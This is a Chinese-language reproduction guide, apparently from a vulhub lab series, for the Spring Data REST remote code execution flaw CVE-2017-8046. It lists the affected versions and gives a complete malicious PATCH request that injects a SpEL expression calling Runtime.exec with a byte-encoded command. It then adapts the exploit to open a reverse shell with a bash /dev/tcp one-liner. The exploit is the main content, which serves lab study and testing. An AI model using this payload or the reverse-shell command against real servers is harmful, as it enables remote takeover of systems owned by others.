Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

漏洞简介

Spring Data是一个为数据访问提供基于Spring模型的项目。 Pivotal Spring Data REST、Spring Boot和Spring Data中存在安全漏洞。攻击者可通过发送恶意的PATCH请求利用该漏洞执行任意的Java代码。

影响版本

Pivotal Spring Data REST 2.5.12之前的版本,2.6.7之前的版本,3.0 RC3之前的版本
Spring Boot 2.0.0M4之前版本,Spring Data Kay-RC3之前的版本

漏洞复现

访问http://your-ip:8080/customers/1,看到一个资源。我们使用PATCH请求来修改,发送如下数据包即可执行命令命令:

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中将执行new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}表示的命令为touch /tmp/success
我们改为反弹shell,将命令bash -i >& /dev/tcp/your_ip/9999 0>&1进行java反弹处理
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第1张图片

接着将它编码成十进制,修改包并发送:
Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)_第2张图片

你可能感兴趣的:(vulhub漏洞复现,安全)